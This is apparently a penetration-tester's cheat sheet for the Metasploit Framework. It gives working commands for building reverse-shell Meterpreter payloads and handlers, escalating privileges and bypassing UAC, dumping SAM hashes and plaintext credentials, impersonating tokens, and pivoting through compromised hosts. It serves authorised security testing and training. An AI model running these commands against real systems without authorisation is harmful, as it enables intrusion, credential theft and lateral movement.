The Metasploit Framework is an open-source penetration testing and ethical hacking tool developed by Rapid7. It provides a number of tools to exploit vulnerabilities in computer systems, networks, and applications.
Below are some useful Metasploit commands.
MSFVenom Commands
MSFVenom can be used to generate payloads which are compatible with Metasploit.
Task | How | Notes |
---|---|---|
List MSFVenom payloads | msfvenom –list payloads | Shows supported payloads. Stageless payloads are designated with an underscore i.e windows/shell_reverse_tcp |
Generate a Windows payload | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=6666 -f exe > shell-win-x64.exe | Making sure the payload matches the target architecture is preferred. If a 32 bit payload is executed on a 64-bit host, you will need to migrate to a x64 process before extracting hashes. |
Generate a Linux Payload | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=6666 -f elf > shell-lin-x64 |
Session Management
The following command can be used to manage sessions.
Task | How | Notes |
---|---|---|
Start a handler | use exploit/multi/handler set LHOST 172.23.168.66 set LPORT 6666 set ExitOnSession FALSE set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit -jz | LHOST can be set as an interface ID, such as eth0. ExitOnSession FALSE ensures the listener stays active after an initial shell. exploit -jz runs the listener as a background task. |
Process Migration | post/windows/manage/migrate | Useful for stability, and to migrate from 32 to 64 bit processes. |
Session management | sessions -i sessions -b sessions -u | -i interacts with a sessions -b places a session in the background -u upgrades a standard reverse shell to a Meterpreter shell |
Channel management | channel -i channel -l | -i interacts with a channel -l lists available channels |
Jobs | jobs -l jobs -k | Jobs are background tasks. They can be viewed with jobs -l, and killed with jobs -k |
Privilege Escalation
Some useful modules for common privilege escalation tasks. The following article provides more information on using these modules;
https://www.bordergate.co.uk/windows-privilege-escalation/
Task | How | Notes |
---|---|---|
Enumerate privileges | getprivs | Will show the currently active user privileges. |
Exploit weak service permissions | use exploit/windows/local/service_permissions | |
Exploited unquoted service paths | exploit/windows/local/unquoted_service_path | |
Search for vulnerabilities that may lead to privilege escalation | post/multi/recon/local_exploit_suggester | |
Enumerate installed applications | post/windows/gather/enum_applications | |
Exploit systems that have AlwaysInstallElevated set | exploit/windows/local/always_install_elevated | |
Bypass UAC | exploit/windows/local/bypassuac | |
Enumerate local AV Exclusions | post/windows/gather/enum_av_excluded |
Credentials
Commands for extracting credentials. There are a lot of additional application specific modules under post/windows/gather/credentials/.
Task | How | Notes |
---|---|---|
Dump SAM database | As an administrative user: getsystem hashdump | Hashes can be cracked, or used for pass the hash attacks. |
Extract other credentials | load kiwi creds_all | May include plaintext credentials on older versions of Windows. |
User Impersonation | load incognito list_tokens -u impersonate bordergate.local\Administrator getuid | Use rev2self to revert to previous user context. |
Extract Unattend.xml credentials | use post/windows/gather/enum_unattend | |
Search for credentials | search -f *.ppk | Example looks for putty key files. |
Group Policy Preference file extraction | post/windows/gather/credentials/gpp | For a domain connected system. |
Pivoting
The following commands are useful at identifying other hosts and networks that can be attacked.
Task | How | Guidance |
---|---|---|
Add routes | run autoroute -s 192.168.19.0/24 | Use “run autoroute -p” to view active routes. |
Configure a SOCKS proxy | use auxiliary/server/socks_proxy set VERSION 4a set SRVPORT 9050 run | This should match the values you have configured in /etc/proxychains4.conf. To use the proxy: proxychains -q nmap -Pn -n -F -sT 192.168.1.1 |
Port forward to destination | meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.1 | Forwards port 8080 on Kali system to port 80 on 192.168.1.1. |
Ping sweep | use multi/gather/ping_sweep set RHOSTS 192.168.1.0/24 set SESSION 1 run | A quick way of mapping new subnets. |
ARP Scan | run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 | ARP Scan local subnet. |
Review Network Configuration | ipconfig netstat | Looking for active connections which may indicate trust relationships between hosts. Review previously unidentified subnets. |
Portscan (via Pivot) | use auxiliary/scanner/portscan/tcp | Make sure routes are added with autoroute before hand. |
Reverse DNS Lookup | multi/gather/dns_reverse_lookup | Useful for finding new routed targets. |
Metasploit Database
The database can be used to store scan results, credentials and loot.
Task | How | Guidance |
---|---|---|
Initialise the database | systemctl start postgresql sudo msfdb init msf6 > db_status | Required to start using Metasploit database functionality |
Configure a workspace | Add a new workspace: workspace -a myworkspace List workspaces: workspace Change workspaces: workspace | Workspaces provide separation between data in separate tests |
Nmap scanning | db_nmap -sV -A | Scan using standard Nmap arguments and store the results in the postgres database. |
List database contents | hosts services | For listed hosts and service respectively. |
Export database contents | services -o /tmp/services.txt hosts -o /tmp/hosts.txt | Export hosts or services to a text file. |
Set RHOSTS | services -p 445 -R | The example command will set RHOSTS for any systems with port 445 open. This is very useful when combined with RC scripts. |
Scripting
Task | How | Guidance |
---|---|---|
Save commands | makerc /tmp/commands.rc | Saves executed commands to a file. |
Execute saved commands | msfconsole -r /tmp/commands.rc | Runs save commands. |
Search Commands
Without filtering, searching for generic terms often results in way too many results. Using search filters reduces the amount of output returned.
Task | How | Guidance |
---|---|---|
Search for exploits only | search type:exploit name:tomcat | Type could be exploit,post,auxiliary |
Search by platform | search platform:windows name:gather | |
Remove unwanted results | grep -v DoS grep -v local search type:exploit name:tomcat | The grep needs to be placed before the search command. |